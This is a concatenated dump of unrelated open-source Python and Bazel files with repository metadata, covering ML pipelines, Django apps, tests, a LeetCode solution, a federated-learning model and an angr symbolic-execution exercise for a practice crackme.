"uu_101_object_categories_MIN_METADATA", )) ], "d3m.primitives.remote_sensing.mlp.MlpClassifier": [ (MlpClassifierPipeline(), ('LL1_bigearth_landuse_detection',)) ] } for primitive, pipelines in prims_to_pipelines.items(): if gpu: if primitive not in gpu_prims: continue else: if primitive in gpu_prims: continue os.chdir(f'/annotations/{primitive}') os.chdir(os.listdir('.')[0]) if not os.path.isdir('pipelines'): os.mkdir('pipelines') else: [os.remove(f'pipelines/{pipeline}') for pipeline in os.listdir('pipelines')] if not os.path.isdir('pipeline_runs'): os.mkdir('pipeline_runs') else: [os.remove(f'pipeline_runs/{pipeline_run}') for pipeline_run in os.listdir('pipeline_runs')] if not os.path.isdir(f'/pipeline_scores/{primitive.split(".")[-1]}'): os.mkdir(f'/pipeline_scores/{primitive.split(".")[-1]}') for pipeline, datasets in pipelines: pipeline.write_pipeline(output_dir = './pipelines') for dataset in datasets: print(f'Generating pipeline for {primitive.split(".")[-1]} on {dataset}') if primitive.split(".")[-1] in ['Duke', 'Sloth']: pipeline.fit_produce( dataset, output_yml_dir = './pipeline_runs', submission = True ) else: if primitive.split(".")[-1] == 'NBEATS': shutil.rmtree(f'/scratch_dir/nbeats') pipeline.fit_score( dataset, output_yml_dir = './pipeline_runs', output_score_dir = f'/pipeline_scores/{primitive.split(".")[-1]}', submission = True ) os.system('gzip -r pipeline_runs') if __name__ == '__main__': fire.Fire(generate_pipelines)

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a16015f7fdd109191a18e2ce3c5cc5cd31b338c6

210

py

Python

gorynych/ontologies/gch/edges/basic/__init__.py

vurmux/gorynych

d721e8cdb61f7c7ee6bc4bd31026605df15f2d9d

[ "Apache-2.0" ]

null

gorynych/ontologies/gch/edges/basic/__init__.py

vurmux/gorynych

d721e8cdb61f7c7ee6bc4bd31026605df15f2d9d

[ "Apache-2.0" ]

null

gorynych/ontologies/gch/edges/basic/__init__.py

vurmux/gorynych

d721e8cdb61f7c7ee6bc4bd31026605df15f2d9d

[ "Apache-2.0" ]

null

__all__ = [ "aggregation", "association", "composition", "connection", "containment", "dependency", "includes", "membership", "ownership", "responsibility", "usage" ]

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null

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1

a163e601ea9b0587f0a7996da2ea54d7b047cc87

597

py

Python

api_app/migrations/0001_initial.py

DurkinDevelopment/coinbase_api

0cea72234d481d09ff906f7bc064cfe16111c785

[ "MIT" ]

null

api_app/migrations/0001_initial.py

DurkinDevelopment/coinbase_api

0cea72234d481d09ff906f7bc064cfe16111c785

[ "MIT" ]

null

api_app/migrations/0001_initial.py

DurkinDevelopment/coinbase_api

0cea72234d481d09ff906f7bc064cfe16111c785

[ "MIT" ]

null

# Generated by Django 3.2.12 on 2022-02-15 02:57 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='SpotPrice', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('currency', models.CharField(max_length=200)), ('amount', models.FloatField()), ('timestamp', models.DateField()), ], ), ]

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null

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a163f9dace925925161f417c4fc2f6f13d99f9d2

924

py

Python

Kalender/views.py

RamonvdW/nhb-apps

5a9f840bfe066cd964174515c06b806a7b170c69

[ "BSD-3-Clause-Clear" ]

1

2021-12-22T13:11:12.000Z

Kalender/views.py

RamonvdW/nhb-apps

5a9f840bfe066cd964174515c06b806a7b170c69

[ "BSD-3-Clause-Clear" ]

9

2020-10-28T07:07:05.000Z

2021-06-28T20:05:37.000Z

Kalender/views.py

RamonvdW/nhb-apps

5a9f840bfe066cd964174515c06b806a7b170c69

[ "BSD-3-Clause-Clear" ]

null

# -*- coding: utf-8 -*- # Copyright (c) 2021 Ramon van der Winkel. # All rights reserved. # Licensed under BSD-3-Clause-Clear. See LICENSE file for details. from django.views.generic import View from django.urls import reverse from django.http import HttpResponseRedirect from Functie.rol import Rollen, rol_get_huidige from .view_maand import get_url_huidige_maand class KalenderLandingPageView(View): """ Deze pagina is puur voor het doorsturen naar een van de andere pagina's afhankelijk van de gekozen rol. """ @staticmethod def get(request, *args, **kwargs): rol_nu = rol_get_huidige(request) if rol_nu == Rollen.ROL_BB: url = reverse('Kalender:manager') elif rol_nu == Rollen.ROL_HWL: url = reverse('Kalender:vereniging') else: url = get_url_huidige_maand() return HttpResponseRedirect(url) # end of file

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null

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null

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1

a16900fa8a0412a37028d1da77ef8f912a14e56f

259

py

Python

Control/control_common.py

TomE8/drones

c92865556dd3df2d5f5b73589cd48e413bff3a3a

[ "MIT" ]

14

2018-10-29T00:52:18.000Z

2022-03-23T20:07:11.000Z

Control/control_common.py

TomE8/drones

c92865556dd3df2d5f5b73589cd48e413bff3a3a

[ "MIT" ]

4

2020-07-12T05:19:05.000Z

2020-09-20T12:40:47.000Z

Control/control_common.py

TomE8/drones

c92865556dd3df2d5f5b73589cd48e413bff3a3a

[ "MIT" ]

2

2019-03-08T01:36:47.000Z

2019-09-12T04:07:19.000Z

class AxisIndex(): #TODO: read this value from config file LEFT_RIGHT=0 FORWARD_BACKWARDS=1 ROTATE=2 UP_DOWN=3 class ButtonIndex(): TRIGGER = 0 SIDE_BUTTON = 1 HOVERING = 2 EXIT = 10 class ThresHold(): SENDING_TIME = 0.5

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null

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null

0

1

0

1

a16aadbd9d67147c97cce0ae81ac212da4c01e1c

2,472

py

Python

.leetcode/16.3-sum-closest.2.py

KuiyuanFu/PythonLeetCode

8962df2fa838eb7ae48fa59de272ba55a89756d8

[ "MIT" ]

null

.leetcode/16.3-sum-closest.2.py

KuiyuanFu/PythonLeetCode

8962df2fa838eb7ae48fa59de272ba55a89756d8

[ "MIT" ]

null

.leetcode/16.3-sum-closest.2.py

KuiyuanFu/PythonLeetCode

8962df2fa838eb7ae48fa59de272ba55a89756d8

[ "MIT" ]

null

# @lc app=leetcode id=16 lang=python3 # # [16] 3Sum Closest # # https://leetcode.com/problems/3sum-closest/description/ # # algorithms # Medium (46.33%) # Likes: 3080 # Dislikes: 169 # Total Accepted: 570.4K # Total Submissions: 1.2M # Testcase Example: '[-1,2,1,-4]\n1' # # Given an array nums of n integers and an integer target, find three integers # in nums such that the sum is closest to target. Return the sum of the three # integers. You may assume that each input would have exactly one solution. # # # Example 1: # # # Input: nums = [-1,2,1,-4], target = 1 # Output: 2 # Explanation: The sum that is closest to the target is 2. (-1 + 2 + 1 = # 2). # # # # Constraints: # # # 3 <= nums.length <= 10^3 # -10^3 <= nums[i] <= 10^3 # -10^4 <= target <= 10^4 # # # # @lc tags=array;two-pointers # @lc imports=start from imports import * # @lc imports=end # @lc idea=start # # 给定一个数组，求数组中三个元素和最接近目标的和。 # 使用双指针法。首先对数组排序，确定第一个值，之后在剩下的数组中，使用双指针法找最小的差值。因为有序，所以可以通过左右移动指针，来修改剩余两个数的和的大小变化方向。之后判断是否重复来剪枝。 # # @lc idea=end # @lc group=two-pointers # @lc rank=10 # @lc code=start class Solution: def threeSumClosest(self, nums: List[int], target: int) -> int: # dic = {} # for n in nums: # if not dic.__contains__(n): # dic[n] = 1 # elif dic[n] < 3: # dic[n] += 1 # nums = [] # for i in list(dic.keys()): # nums += [i]*dic[i] nums.sort() s = nums[0] + nums[1] + nums[2] dif = abs(s - target) for i in range(len(nums) - 2): # 重复元素。 if i > 0 and nums[i] == nums[i - 1]: continue l = i + 1 r = len(nums) - 1 t = target - nums[i] while l < r: if abs(t - nums[l] - nums[r]) < dif: dif = abs(t - nums[l] - nums[r]) s = nums[i] + nums[l] + nums[r] # 确定方向 if t - nums[l] - nums[r] > 0: l = l + 1 else: r = r - 1 if dif == 0: break return s pass # @lc code=end # @lc main=start if __name__ == '__main__': print('Example 1:') print('Input : ') print('nums = [-1,2,1,-4], target = 1') print('Output :') print(str(Solution().threeSumClosest([-1, 2, 1, -4], 1))) print('Exception :') print('2') print() pass # @lc main=end

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null

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null

0

1

0

1

a16be12b3f57a68c02b41dfe786a31910f86a92e

2,142

py

Python

test/test_functions/test_michalewicz.py

carefree0910/botorch

c0b252baba8f16a4ea2eb3f99c266fba47418b1f

[ "MIT" ]

null

test/test_functions/test_michalewicz.py

carefree0910/botorch

c0b252baba8f16a4ea2eb3f99c266fba47418b1f

[ "MIT" ]

null

test/test_functions/test_michalewicz.py

carefree0910/botorch

c0b252baba8f16a4ea2eb3f99c266fba47418b1f

[ "MIT" ]

1

2019-05-07T23:53:08.000Z

#! /usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import unittest import torch from botorch.test_functions.michalewicz import ( GLOBAL_MAXIMIZER, GLOBAL_MAXIMUM, neg_michalewicz, ) class TestNegMichalewicz(unittest.TestCase): def test_single_eval_neg_michalewicz(self, cuda=False): device = torch.device("cuda") if cuda else torch.device("cpu") for dtype in (torch.float, torch.double): X = torch.zeros(10, device=device, dtype=dtype) res = neg_michalewicz(X) self.assertEqual(res.dtype, dtype) self.assertEqual(res.device.type, device.type) self.assertEqual(res.shape, torch.Size()) def test_single_eval_neg_michalewicz_cuda(self): if torch.cuda.is_available(): self.test_single_eval_neg_michalewicz(cuda=True) def test_batch_eval_neg_michalewicz(self, cuda=False): device = torch.device("cuda") if cuda else torch.device("cpu") for dtype in (torch.float, torch.double): X = torch.zeros(2, 10, device=device, dtype=dtype) res = neg_michalewicz(X) self.assertEqual(res.dtype, dtype) self.assertEqual(res.device.type, device.type) self.assertEqual(res.shape, torch.Size([2])) def test_batch_eval_neg_michalewicz_cuda(self): if torch.cuda.is_available(): self.test_batch_eval_neg_michalewicz(cuda=True) def test_neg_michalewicz_global_maximum(self, cuda=False): device = torch.device("cuda") if cuda else torch.device("cpu") for dtype in (torch.float, torch.double): X = torch.tensor( GLOBAL_MAXIMIZER, device=device, dtype=dtype, requires_grad=True ) res = neg_michalewicz(X) res.backward() self.assertAlmostEqual(res.item(), GLOBAL_MAXIMUM, places=4) self.assertLess(X.grad.abs().max().item(), 1e-3) def test_neg_michalewicz_global_maximum_cuda(self): if torch.cuda.is_available(): self.test_neg_michalewicz_global_maximum(cuda=False)

38.25

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0

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2,142

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0.186047

1

0.139535

false

0

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0

0.232558

0

null

0

1

0

null

0

1

a172ea5b14e8133a222d02986a593e89323cad7c

847

py

Python

FreeBSD/bsd_netstats_poller.py

failedrequest/telegraf-plugins

9cda0612a912f219fa84724f12af1f428483a37a

[ "BSD-2-Clause" ]

null

FreeBSD/bsd_netstats_poller.py

failedrequest/telegraf-plugins

9cda0612a912f219fa84724f12af1f428483a37a

[ "BSD-2-Clause" ]

null

FreeBSD/bsd_netstats_poller.py

failedrequest/telegraf-plugins

9cda0612a912f219fa84724f12af1f428483a37a

[ "BSD-2-Clause" ]

null

#!/usr/bin/env python3 # 3/21/2021 # Updated for python3 # A Simple sysctl to telegraf plugin for freebsd's netstats ip info from freebsd_sysctl import Sysctl as sysctl import subprocess as sp import re import json import sys import pprint as pp hostname = sysctl("kern.hostname").value netstat_data = {} points_netstat = {} netstat_output = sp.check_output(["netstat", "-s", "-p", "ip", "--libxo", "json", "/dev/null"],universal_newlines=True) netstat_data = json.loads(netstat_output) for x in netstat_data["statistics"]: for k,v in netstat_data["statistics"][x].items(): points_netstat[k] = v def points_to_influx(points): field_tags= ",".join(["{k}={v}".format(k=str(x[0]), v=x[1]) for x in list(points_netstat.items())]) print(("bsd_netstat,type=netstat {}").format(field_tags)) points_to_influx(points_netstat)

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0.111111

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null

0

null

0

1

0

1

a1773cd4561ed64fe6472e04a837e283a5378aa9

1,763

py

Python

data/ebmnlp/stream.py

bepnye/tf_ner

c68b9f489e56e0ec8cfb02b7115d2b07d721ac6f

[ "Apache-2.0" ]

null

data/ebmnlp/stream.py

bepnye/tf_ner

c68b9f489e56e0ec8cfb02b7115d2b07d721ac6f

[ "Apache-2.0" ]

null

data/ebmnlp/stream.py

bepnye/tf_ner

c68b9f489e56e0ec8cfb02b7115d2b07d721ac6f

[ "Apache-2.0" ]

null

import os import data_utils from pathlib import Path top_path = Path(os.path.dirname(os.path.abspath(__file__))) EBM_NLP = Path('/Users/ben/Desktop/ebm_nlp/repo/ebm_nlp_2_00/') NO_LABEL = '0' def overwrite_tags(new_tags, tags): for i, t in enumerate(new_tags): if t != NO_LABEL: tags[i] = t def get_tags(d): pmid_tags = {} for e in ['participants', 'interventions', 'outcomes']: for a in (EBM_NLP / 'annotations' / 'aggregated' / 'starting_spans' / e / d).glob('*.ann'): pmid = a.stem.split('.')[0] tags = a.open().read().split() tags = [e[0] if t == '1' else NO_LABEL for t in tags] if pmid not in pmid_tags: pmid_tags[pmid] = tags else: overwrite_tags(tags, pmid_tags[pmid]) return pmid_tags def get_words(pmids): return { pmid: (EBM_NLP / 'documents' / '{}.tokens'.format(pmid)).open().read().split() for pmid in pmids } def get_seqs(tag_d, word_d, keys): tag_seqs = [] word_seqs = [] for k in keys: words, tags = data_utils.generate_seqs(word_d[k], tag_d[k]) tag_seqs += tags word_seqs += words return word_seqs, tag_seqs TRAIN_TAG_D = get_tags(Path('train/')) TRAIN_PMIDS = sorted(TRAIN_TAG_D.keys()) TRAIN_WORD_D = get_words(TRAIN_PMIDS) TRAIN_WORDS, TRAIN_TAGS = get_seqs(TRAIN_TAG_D, TRAIN_WORD_D, TRAIN_PMIDS) TEST_TAG_D = get_tags(Path('test/gold/')) TEST_PMIDS = sorted(TEST_TAG_D.keys()) TEST_WORD_D = get_words(TEST_PMIDS) TEST_WORDS, TEST_TAGS = get_seqs(TEST_TAG_D, TEST_WORD_D, TEST_PMIDS) def train_words(): return TRAIN_WORDS def train_tags(): return TRAIN_TAGS def test_words(): return TEST_WORDS def test_tags(): return TEST_TAGS def word_embeddings(): return ((top_path / '..' / 'embeddings' / 'glove.840B.300d.txt').open(), 300)

28.435484

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1,763

3.868512

0.259516

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1,763

61

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0.4

0

null

0

null

0

1

0

1

a17f75ddc89a6583319e9dcd13c17dded131aa22

1,259

bzl

Python

tools/build_defs/native_tools/tool_access.bzl

slsyy/rules_foreign_cc

34ab7f86a3ab1b2381cb4820d08a1c892f55bf54

[ "Apache-2.0" ]

null

tools/build_defs/native_tools/tool_access.bzl

slsyy/rules_foreign_cc

34ab7f86a3ab1b2381cb4820d08a1c892f55bf54

[ "Apache-2.0" ]

null

tools/build_defs/native_tools/tool_access.bzl

slsyy/rules_foreign_cc

34ab7f86a3ab1b2381cb4820d08a1c892f55bf54

[ "Apache-2.0" ]

null

# buildifier: disable=module-docstring load(":native_tools_toolchain.bzl", "access_tool") def get_cmake_data(ctx): return _access_and_expect_label_copied("@rules_foreign_cc//tools/build_defs:cmake_toolchain", ctx, "cmake") def get_ninja_data(ctx): return _access_and_expect_label_copied("@rules_foreign_cc//tools/build_defs:ninja_toolchain", ctx, "ninja") def get_make_data(ctx): return _access_and_expect_label_copied("@rules_foreign_cc//tools/build_defs:make_toolchain", ctx, "make") def _access_and_expect_label_copied(toolchain_type_, ctx, tool_name): tool_data = access_tool(toolchain_type_, ctx, tool_name) if tool_data.target: # This could be made more efficient by changing the # toolchain to provide the executable as a target cmd_file = tool_data for f in tool_data.target.files.to_list(): if f.path.endswith("/" + tool_data.path): cmd_file = f break return struct( deps = [tool_data.target], # as the tool will be copied into tools directory path = "$EXT_BUILD_ROOT/{}".format(cmd_file.path), ) else: return struct( deps = [], path = tool_data.path, )

38.151515

111

0.669579

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1,259

4.6

0.382353

0.071611

0.076726

0.102302

0.351662

0.257033

0

0.232724

1,259

32

112

39.34375

0.809524

0.144559

0

0.083333

0

0.208022

0.166978

0

1

0.166667

false

0

0.125

0.375

0

null

0

null

0

1

0

1

a1823c37136cd59bed9a94266ef25fc93fb40d71

255

py

Python

gallery/photo/urls.py

andyjohn23/django-photo

e65ee3ab6fdad3a9d836d32b7f1026efcc728a41

[ "MIT" ]

null

gallery/photo/urls.py

andyjohn23/django-photo

e65ee3ab6fdad3a9d836d32b7f1026efcc728a41

[ "MIT" ]

null

gallery/photo/urls.py

andyjohn23/django-photo

e65ee3ab6fdad3a9d836d32b7f1026efcc728a41

[ "MIT" ]

null

from django.urls import path from . import views urlpatterns = [ path('', views.index, name="index"), path('category/<category>/', views.CategoryListView.as_view(), name="category"), path('search/', views.image_search, name='image-search'), ]

31.875

84

0.686275

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255

5.580645

0.483871

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0.129412

255

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31.875

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0.285714

0

0.285714

0

null

0

1

0

null

0

1

a183121368090836638181c5ae887b713f923588

6,358

py

Python

fedsimul/models/mnist/mclr.py

cshjin/fedsimul

1e2b9a9d9034fbc679dfaff059c42dea5642971d

[ "MIT" ]

11

2021-05-07T01:28:26.000Z

2022-03-10T08:23:16.000Z

fedsimul/models/mnist/mclr.py

cshjin/fedsimul

1e2b9a9d9034fbc679dfaff059c42dea5642971d

[ "MIT" ]

2

2021-08-13T10:12:13.000Z

2021-08-31T02:03:20.000Z

fedsimul/models/mnist/mclr.py

cshjin/fedsimul

1e2b9a9d9034fbc679dfaff059c42dea5642971d

[ "MIT" ]

1

2021-06-08T07:23:22.000Z

import numpy as np import tensorflow as tf from tqdm import trange from fedsimul.utils.model_utils import batch_data from fedsimul.utils.tf_utils import graph_size from fedsimul.utils.tf_utils import process_grad class Model(object): ''' This is the tf model for the MNIST dataset with multiple class learner regression. Images are 28px by 28px. ''' def __init__(self, num_classes, optimizer, gpu_id=0, seed=1): """ Initialize the learner. Args: num_classes: int optimizer: tf.train.Optimizer gpu_id: int, default 0 seed: int, default 1 """ # params self.num_classes = num_classes # create computation graph self.graph = tf.Graph() with self.graph.as_default(): tf.set_random_seed(123 + seed) _created = self.create_model(optimizer) self.features = _created[0] self.labels = _created[1] self.train_op = _created[2] self.grads = _created[3] self.eval_metric_ops = _created[4] self.loss = _created[5] self.saver = tf.train.Saver() # set the gpu resources gpu_options = tf.compat.v1.GPUOptions(visible_device_list="{}".format(gpu_id), allow_growth=True) config = tf.compat.v1.ConfigProto(gpu_options=gpu_options) self.sess = tf.Session(graph=self.graph, config=config) # self.sess = tf.Session(graph=self.graph) # REVIEW: find memory footprint and compute cost of the model self.size = graph_size(self.graph) with self.graph.as_default(): self.sess.run(tf.global_variables_initializer()) metadata = tf.RunMetadata() opts = tf.profiler.ProfileOptionBuilder.float_operation() self.flops = tf.profiler.profile(self.graph, run_meta=metadata, cmd='scope', options=opts).total_float_ops def create_model(self, optimizer): """ Model function for Logistic Regression. Args: optimizer: tf.train.Optimizer Returns: tuple: (features, labels, train_op, grads, eval_metric_ops, loss) """ features = tf.placeholder(tf.float32, shape=[None, 784], name='features') labels = tf.placeholder(tf.int64, shape=[None, ], name='labels') logits = tf.layers.dense(inputs=features, units=self.num_classes, kernel_regularizer=tf.contrib.layers.l2_regularizer(0.001)) predictions = { "classes": tf.argmax(input=logits, axis=1), "probabilities": tf.nn.softmax(logits, name="softmax_tensor") } loss = tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits) grads_and_vars = optimizer.compute_gradients(loss) grads, _ = zip(*grads_and_vars) train_op = optimizer.apply_gradients(grads_and_vars, global_step=tf.train.get_global_step()) eval_metric_ops = tf.count_nonzero(tf.equal(labels, predictions["classes"])) return features, labels, train_op, grads, eval_metric_ops, loss def set_params(self, latest_params=None, momentum=False, gamma=0.9): """ Set parameters from server Args: latest_params: list list of tf.Variables momentum: boolean gamma: float TODO: update variable with its local variable and the value from latest_params TODO: DO NOT set_params from the global, instead, use the global gradient to update """ if latest_params is not None: with self.graph.as_default(): # previous gradient all_vars = tf.trainable_variables() for variable, value in zip(all_vars, latest_params): if momentum: curr_val = self.sess.run(variable) new_val = gamma * curr_val + (1 - gamma) * value # TODO: use `assign` function instead of `load` variable.load(new_val, self.sess) else: variable.load(value, self.sess) def get_params(self): """ Get model parameters. Returns: model_params: list list of tf.Variables """ with self.graph.as_default(): model_params = self.sess.run(tf.trainable_variables()) return model_params def get_gradients(self, data, model_len): """ Access gradients of a given dataset. Args: data: dict model_len: int Returns: num_samples: int grads: tuple """ grads = np.zeros(model_len) num_samples = len(data['y']) with self.graph.as_default(): model_grads = self.sess.run(self.grads, feed_dict={self.features: data['x'], self.labels: data['y']}) grads = process_grad(model_grads) return num_samples, grads def solve_inner(self, data, num_epochs=1, batch_size=32): '''Solves local optimization problem. Args: data: dict with format {'x':[], 'y':[]} num_epochs: int batch_size: int Returns: soln: list comp: float ''' for _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120): for X, y in batch_data(data, batch_size): with self.graph.as_default(): self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y}) soln = self.get_params() comp = num_epochs * (len(data['y']) // batch_size) * batch_size * self.flops return soln, comp def test(self, data): ''' Args: data: dict of the form {'x': [], 'y': []} Returns: tot_correct: int loss: float ''' with self.graph.as_default(): tot_correct, loss = self.sess.run([self.eval_metric_ops, self.loss], feed_dict={self.features: data['x'], self.labels: data['y']}) return tot_correct, loss def close(self): self.sess.close()

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0.286096

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0.025845

0.029821

0.152798

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0.083499

0.06589

0.047146

0.022721

0

0.009564

0.325731

6,358

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0.811756

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0

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0

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0

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false

0

0.072289

0

0.240964

0

null

0

null

0

1

0

1

a183e429ab2df0bcb4079f035e2dd6d3cb6737a5

3,402

py

Python

angr_ctf/solutions/06_angr_symbolic_dynamic_memory.py

Hamz-a/angr_playground

8216f43bd2ec9a91c796a56bab610b119f8311cf

[ "MIT" ]

null

angr_ctf/solutions/06_angr_symbolic_dynamic_memory.py

Hamz-a/angr_playground

8216f43bd2ec9a91c796a56bab610b119f8311cf

[ "MIT" ]

null

angr_ctf/solutions/06_angr_symbolic_dynamic_memory.py

Hamz-a/angr_playground

8216f43bd2ec9a91c796a56bab610b119f8311cf

[ "MIT" ]

null

import angr import claripy path_to_bin = "../binaries/06_angr_symbolic_dynamic_memory" # Find callback def good_job(state): # Get the output of the state stdout = state.posix.dumps(1) # If the program echo'ed "Good Job." then we've found a good state return "Good Job." in str(stdout) # Avoid callback def try_again(state): # Get the output of the state stdout = state.posix.dumps(1) # If the program echo'ed "Try again." then we found a state that we want to avoid return "Try again." in str(stdout) # Create an angr project project = angr.Project(path_to_bin) # Create the begin state starting from address 0x08048699 (see r2 output bellow) # $ r2 -A 06_angr_symbolic_dynamic_memory # [0x08048490]> pdf @main # ┌ (fcn) main 395 # │ main (int argc, char **argv, char **envp); # │ <REDACTED> # │ 0x08048664 e8e7fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) # │ 0x08048669 83c410 add esp, 0x10 # │ 0x0804866c 83ec0c sub esp, 0xc # │ 0x0804866f 682e880408 push str.Enter_the_password: ; 0x804882e ; "Enter the password: " ; const char *format # │ 0x08048674 e877fdffff call sym.imp.printf ; int printf(const char *format) # │ 0x08048679 83c410 add esp, 0x10 # │ 0x0804867c 8b15acc8bc0a mov edx, dword [obj.buffer1] ; [0xabcc8ac:4]=0 # │ 0x08048682 a1a4c8bc0a mov eax, dword [obj.buffer0] ; [0xabcc8a4:4]=0 # │ 0x08048687 83ec04 sub esp, 4 # │ 0x0804868a 52 push edx # │ 0x0804868b 50 push eax # │ 0x0804868c 6843880408 push str.8s__8s ; 0x8048843 ; "%8s %8s" ; const char *format # │ 0x08048691 e8cafdffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) # │ 0x08048696 83c410 add esp, 0x10 # │ 0x08048699 c745f4000000. mov dword [local_ch], 0 ; <<< START HERE # │ ┌─< 0x080486a0 eb64 jmp 0x8048706 entry_state = project.factory.blank_state(addr=0x08048699) # Create a Symbolic BitVectors for each part of the password (64 bits per part %8s is used in scanf) password_part0 = claripy.BVS("password_part0", 64) password_part1 = claripy.BVS("password_part1", 64) # Setup some heap space entry_state.memory.store(0xabcc8a4, 0x4000000, endness=project.arch.memory_endness) entry_state.memory.store(0xabcc8ac, 0x4000A00, endness=project.arch.memory_endness) # Use the created heap and inject BVS entry_state.memory.store(0x4000000, password_part0) entry_state.memory.store(0x4000A00, password_part1) # Create a simulation manager simulation_manager = project.factory.simulation_manager(entry_state) # Pass callbacks for states that we should find and avoid simulation_manager.explore(avoid=try_again, find=good_job) # If simulation manager has found a state if simulation_manager.found: found_state = simulation_manager.found[0] # Get flag by solving the symbolic values using the found path solution0 = found_state.solver.eval(password_part0, cast_to=bytes) solution1 = found_state.solver.eval(password_part1, cast_to=bytes) print("{} {}".format(solution0.decode("utf-8"), solution1.decode("utf-8"))) else: print("No path found...")

44.763158

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0.230769

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0.076923

0

null

0

null

0

1

0

1

a18aeadaf1c0a497b57a81c26b42e7ee05084e81

1,543

py

Python

tests/live/test_client_auth.py

denibertovic/stormpath-sdk-python

e594a1bb48de3fa8eff26558bf4f72bb056e9d00

[ "Apache-2.0" ]

null

tests/live/test_client_auth.py

denibertovic/stormpath-sdk-python

e594a1bb48de3fa8eff26558bf4f72bb056e9d00

[ "Apache-2.0" ]

null

tests/live/test_client_auth.py

denibertovic/stormpath-sdk-python

e594a1bb48de3fa8eff26558bf4f72bb056e9d00

[ "Apache-2.0" ]

null

"""Live tests of client authentication against the Stormpath service API.""" from os import environ from stormpath.client import Client from stormpath.error import Error from .base import LiveBase class TestAuth(LiveBase): def test_basic_authentication_succeeds(self): client = Client( id=self.api_key_id, secret=self.api_key_secret, scheme='basic') # force the SDK to make a call to the server list(client.applications) def test_basic_authentication_fails(self): client = Client( id=self.api_key_id + 'x', secret=self.api_key_secret + 'x', scheme='basic') # force the SDK to make a call to the server with self.assertRaises(Error): list(client.applications) def test_digest_authentication_succeeds(self): client = Client( id=self.api_key_id, secret=self.api_key_secret, scheme='SAuthc1') # force the SDK to make a call to the server client.applications def test_digest_authentication_fails(self): client = Client( id=self.api_key_id + 'x', secret=self.api_key_secret + 'x', scheme='SAuthc1') # force the SDK to make a call to the server with self.assertRaises(Error): list(client.applications) def test_load_from_environment_variables(self): client = Client() for app in client.applications: self.assertTrue(app.href)

29.113208

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0

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1,543

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0

null

0

1

0

null

0

1

a18bdd3e3f40a3f576715555ebb6a8270c24a370

256

py

Python

languages/python/software_engineering_logging4.py

Andilyn/learntosolveit

fd15345c74ef543e4e26f4691bf91cb6dac568a4

[ "BSD-3-Clause" ]

136

2015-03-06T18:11:21.000Z

2022-03-10T22:31:40.000Z

languages/python/software_engineering_logging4.py

Andilyn/learntosolveit

fd15345c74ef543e4e26f4691bf91cb6dac568a4

[ "BSD-3-Clause" ]

27

2015-01-07T01:38:03.000Z

2021-12-22T19:20:15.000Z

languages/python/software_engineering_logging4.py

Andilyn/learntosolveit

fd15345c74ef543e4e26f4691bf91cb6dac568a4

[ "BSD-3-Clause" ]

1,582

2015-01-01T20:37:06.000Z

2022-03-30T12:29:24.000Z

import logging logger1 = logging.getLogger('package1.module1') logger2 = logging.getLogger('package1.module2') logging.basicConfig(level=logging.WARNING) logger1.warning('This is a warning message') logger2.warning('This is a another warning message')

23.272727

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0.166667

0

null

0

1

0

null

0

1

a18c81f3ba8e0a19564872357a93750676c04e10

862

py

Python

py/foreman/tests/testdata/test_command/pkg1/build.py

clchiou/garage

446ff34f86cdbd114b09b643da44988cf5d027a3

[ "MIT" ]

3

2016-01-04T06:28:52.000Z

2020-09-20T13:18:40.000Z

py/foreman/tests/testdata/test_command/pkg1/build.py

clchiou/garage

446ff34f86cdbd114b09b643da44988cf5d027a3

[ "MIT" ]

null

py/foreman/tests/testdata/test_command/pkg1/build.py

clchiou/garage

446ff34f86cdbd114b09b643da44988cf5d027a3

[ "MIT" ]

null

from pathlib import Path from foreman import define_parameter, rule, get_relpath import foreman if __name__ != 'pkg1': raise AssertionError(__name__) if not __file__.endswith('foreman/tests/testdata/test_command/pkg1/build.py'): raise AssertionError(__file__) relpath = get_relpath() if relpath != Path('pkg1'): raise AssertionError(relpath) define_parameter('par1').with_derive(lambda ps: get_relpath()) @rule @rule.depend('//pkg1/pkg2:rule2') def rule1(parameters): relpath = get_relpath() if relpath != Path('pkg1'): raise AssertionError(relpath) par1 = parameters['par1'] if par1 != Path('pkg1'): raise AssertionError(par1) par2 = parameters['//pkg1/pkg2:par2'] if par2 != Path('pkg1/pkg2'): raise AssertionError(par2) # test_build() will check this foreman._test_ran = True

21.02439

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0.031206

0.182135

862

40

79

21.55

0.775887

0.032483

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0.25

0

0.138221

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0.25

1

0.041667

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0

0.125

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0.166667

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null

1

0

null

0

1

a190762c1566ca65105a3350c21b6933040e5549

2,362

py

Python

scripts/option_normal_model.py

jcoffi/FuturesAndOptionsTradingSimulation

e02fdbe8c40021785a2a1dae56ff4b72f2d47c30

[ "MIT" ]

14

2017-02-16T15:13:53.000Z

2021-05-26T11:34:09.000Z

scripts/option_normal_model.py

jcoffi/FuturesAndOptionsTradingSimulation

e02fdbe8c40021785a2a1dae56ff4b72f2d47c30

[ "MIT" ]

null

scripts/option_normal_model.py

jcoffi/FuturesAndOptionsTradingSimulation

e02fdbe8c40021785a2a1dae56ff4b72f2d47c30

[ "MIT" ]

10

2016-08-05T07:37:07.000Z

2021-11-26T17:31:48.000Z

